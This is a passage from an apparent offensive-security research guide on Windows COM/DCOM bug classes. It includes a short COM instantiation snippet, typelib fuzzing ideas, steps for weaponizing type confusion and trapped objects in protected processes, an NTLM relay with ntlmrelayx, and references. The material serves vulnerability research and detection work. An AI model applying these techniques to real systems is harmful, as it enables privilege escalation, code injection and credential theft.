# scripting host or a small C# harness:
|
||
$clsid = "<candidate-clsid>"
|
||
$obj = [Activator]::CreateInstance([Type]::GetTypeFromCLSID($clsid))
|
||
# In C#: cast to IDispatch, call GetTypeInfo(0) -> ITypeInfo,
|
||
# GetContainingTypeLib() -> ITypeLib, enumerate referenced libs.
|
||
# Then request StdFont ({0BE35203-8F91-11CE-9DE3-00AA004BB851}) through the
|
||
# trapped object and test whether it materializes server-side.
|
||
```
|
||
|
||
Run the harness with Process Monitor, Sysmon (1, 7, 12/13/14, 17/18), and RPC ETW (EID 5/6) attached — you are simultaneously validating the primitive and producing its detection signature.
|
||
|
||
### Fuzzing/mutation ideas (typelib/proxy-confusion specific)
|
||
|
||
1. **Signature mutation matrix.** For each typelib-marshaled interface, generate shadow typelibs that mutate one parameter at a time: `[out] T*` → `[in] T`; pointer-level reduction (`T**` → `T*`); width changes (`long` ↔ `hyper` ↔ interface pointer); direction flips on string/array parameters. Register each under `HKCU\Software\Classes\TypeLib`, invoke with boundary values (`0`, `1`, `0xFFFFFFFF`, pointer-width patterns), and watch the server in a debugger. Integer-as-pointer unmarshaling surfaces as server-side writes to attacker-chosen addresses — precisely the `ICorSvcPooledWorker::CanReuseProcess` pattern ([20]).
|
||
2. **OBJREF/binding-string mutation.** Marshal OBJREFs with mutated RPC binding strings and run a fake OXID resolver to discover new coercion flows — the RemotePotato0 methodology generalized ([32]).
|
||
3. **IDispatch surface fuzzing.** On trapped objects, fuzz `GetIDsOfNames`/`Invoke` DISPID space and `GetTypeInfo` indices to find browseable server-side objects beyond StdFont ([26],[29]).
|
||
4. **AppID/RunAs sweep.** In a VM, set `RunAs = "Interactive User"` on each AppID you can own, remote-activate each class, and watch for server-side dereferences of a controlled UNC share — RemoteMonologue's discovery method, automatable ([30]).
|
||
|
||
### From crash/lead to primitive
|
||
|
||
- **Type confusion:** prove the write by targeting a chosen address and validating the value in a debugger; then convert to a *data-only* weaponization — pre-filling handle tables and aliasing `LdrpKnownDllDirectoryHandle` — so the final chain needs no thread creation, no allocation APIs, no ROP ([20]).
|
||
- **Trapped object:** prove with `Assembly.Load(byte[])` of a marker assembly that writes a file or raises an ETW event *inside the protected server*; capture the full artifact set as your detection deliverable ([26]).
|
||
- **Coercion:** prove by capturing the inbound NTLM with `ntlmrelayx` in a lab and completing one relay to LDAP; record which account context (interactive user vs machine$) the object yielded.
|
||
- **Disclosure framing:** expect "not a security boundary" for PPL-only and admin→PPL findings — Microsoft's servicing criteria deny CVEs/bounties there (precedent: the 2018 PPL chain and the 2025 trapped-COM class, both un-CVE'd). Write the detection content as the primary deliverable ([20],[26]).
|
||
|
||
### Further reading
|
||
|
||
- Injecting Code into Windows Protected Processes using COM, Part 1 — Forshaw ([20])
|
||
- Process Injection via COM IRundown::DoCallback — MDSec ([25])
|
||
- Windows Bug Class: Accessing Trapped COM Objects with IDispatch — Forshaw ([26])
|
||
- Fileless Lateral Movement with Trapped COM Objects — IBM X-Force ([27])
|
||
- RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force ([30])
|
||
- Utilizing RPC Telemetry — SpecterOps ([36])
|
||
|
||
---
|
||
|
||
## References
|
||
|
||
[1] Bypass Application Whitelisting with Scriptlets (Squiblydoo) — Casey Smith, subt0x11.blogspot.com (2016) — https://subt0x11.blogspot.com/2016/04/bypass-application-whitelisting-script.html
|
||
[2] Backdoor.sct — original Squiblydoo PoC gist — Casey Smith (2016) — https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302
|
||
[3] AMSI: Antimalware Scan Interface — Red Canary — https://redcanary.com/blog/amsi/
|
||
[4] Disabling AMSI in JScript with One Simple Trick — James Forshaw, tiraniddo.dev (2018) — https://tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html
|
||
[5] DotNetToJScript — James Forshaw (2017) — https://github.com/tyranid/DotNetToJScript
|
||
[6] Freestyling with SharpShooter v1.0 — MDSec (2018) — https://mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/
|
||
[7] Lateral Movement using the MMC20.Application COM Object — enigma0x3 (2017) — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
|
||
[8] Lateral Movement via DCOM: Round 2 — enigma0x3 (2017) — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
|
||
[9] Lateral Movement using Excel.Application and DCOM — enigma0x3 (2017) — https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
|
||
[10] Lateral Movement using Outlook's CreateObject Method and DotNetToJScript — enigma0x3 (2017) — https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
|
||
[11] Abusing DCOM for Yet Another Lateral Movement Technique — bohops (2018) — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/
|
||
[12] Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral Movement — bohops (2018) — https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
|
||
[13] DCOM Lateral Movement Techniques — Cybereason (Tsukerman, 2018-19) — https://www.cybereason.com/blog/dcom-lateral-movement-techniques
|
||
[14] Leveraging Excel DDE for Lateral Movement via DCOM — Cybereason — https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
|
||
[15] Invoke-DCOM.ps1 — rvrsh3ll, Misc-Powershell-Scripts — https://github.com/rvrsh3ll/Misc-Powershell-Scripts
|
||
[16] LethalHTA — codewhitesec (2018) — https://codewhitesec.blogspot.com/2018/07/lethalhta.html
|
||
[17] Hunting COM Objects, Parts 1-2 — FireEye (2019) — https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
|
||
[18] DCOM enumeration paper — Axel Boesenach, hackdefense.com — https://hackdefense.com/
|
||
[19] AppLocker case study — oddvar.moe — https://oddvar.moe/
|
||
[20] Injecting Code into Windows Protected Processes using COM — Part 1 — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html
|
||
[21] Injecting Code into Windows Protected Processes using COM — Part 2 — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html
|
||
[22] Project Zero Issue 1332: CiSetFileCache TOCTOU (CVE-2017-11830) — Google Project Zero — https://bugs.chromium.org/p/project-zero/issues/detail?id=1332
|
||
[23] Bypassing PPL in Userland, Again — itm4n — https://itm4n.github.io/bypassing-ppl-in-userland-again/
|
||
[24] PPLmedic — itm4n — https://github.com/itm4n/PPLmedic
|
||
[25] Process Injection via Component Object Model (COM) IRundown::DoCallback — MDSec (2022) — https://mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/
|
||
[26] Windows Bug Class: Accessing Trapped COM Objects with IDispatch — James Forshaw, Google Project Zero (2025) — https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html
|
||
[27] Fileless Lateral Movement with Trapped COM Objects — IBM X-Force, Tran & Bayne (2025) — https://ibm.com/think/news/fileless-lateral-movement-trapped-com-objects
|
||
[28] ForsHops — IBM X-Force Red — https://github.com/xforcered/ForsHops
|
||
[29] Accelerating Offensive Research with LLM — Outflank, Kyle Avery (2025) — https://outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/
|
||
[30] RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force, Andrew Oliveau (2025) — https://ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions
|
||
[31] RemoteMonologue PoC — https://github.com/3lp4tr0n/RemoteMonologue
|
||
[32] RemotePotato0 — Antonio Cocomazzi & Andrea Pierini (2021) — https://github.com/antonioCoco/RemotePotato0
|
||
[33] CVE-2017-0100 — NVD — https://nvd.nist.gov/vuln/detail/CVE-2017-0100
|
||
[34] KB5004442 — DCOM Server Security Feature Bypass hardening (CVE-2021-26414) — Microsoft Support — https://support.microsoft.com/ (KB5004442)
|
||
[35] impacket — Fortra — https://github.com/fortra/impacket
|
||
[36] Utilizing RPC Telemetry — SpecterOps — https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5
|
||
[37] Stopping Lateral Movement via the RPC Firewall — Zero Networks — https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall
|
||
[38] RPC Firewall — Zero Networks — https://github.com/zeronetworks/rpcfirewall
|
||
[39] RPC Detection — ftrsec — https://ftrsec.github.io/Blog/rpc-detection/
|
||
[40] ETW provider GUID compilation — guitarrapc gist — https://gist.github.com/guitarrapc/35a94b908bad677a7310
|
||
[41] detection.fyi — Sigma rule browser (MMC20, Squiblydoo, RPC firewall rules) — https://detection.fyi/
|
||
[42] SigmaHQ/sigma — incl. registry_set_persistence_com_hijacking_builtin.yml — https://github.com/SigmaHQ/sigma
|
||
[43] Squiblydoo in-the-wild analysis — Intezer — https://intezer.com/
|
||
[44] CAR-2019-04-003: Squiblydoo — MITRE Cyber Analytics Repository — https://car.mitre.org/analytics/CAR-2019-04-003/
|
||
[45] Splunk DCOM analytics — Splunk research — https://research.splunk.com/
|
||
[46] How to hunt: Detecting persistence and evasion with COM — Elastic — https://elastic.co/blog/how-hunt-detecting-persistence-evasion-com
|
||
[47] sysmon-config — SwiftOnSecurity — https://github.com/SwiftOnSecurity/sysmon-config
|
||
[48] sysmon-modular — Olaf Hartong — https://github.com/olafhartong/sysmon-modular
|
||
[49] How to Detect DCOM Lateral Movement — detect.fyi — https://detect.fyi/how-to-detect-dcom-lateral-movement
|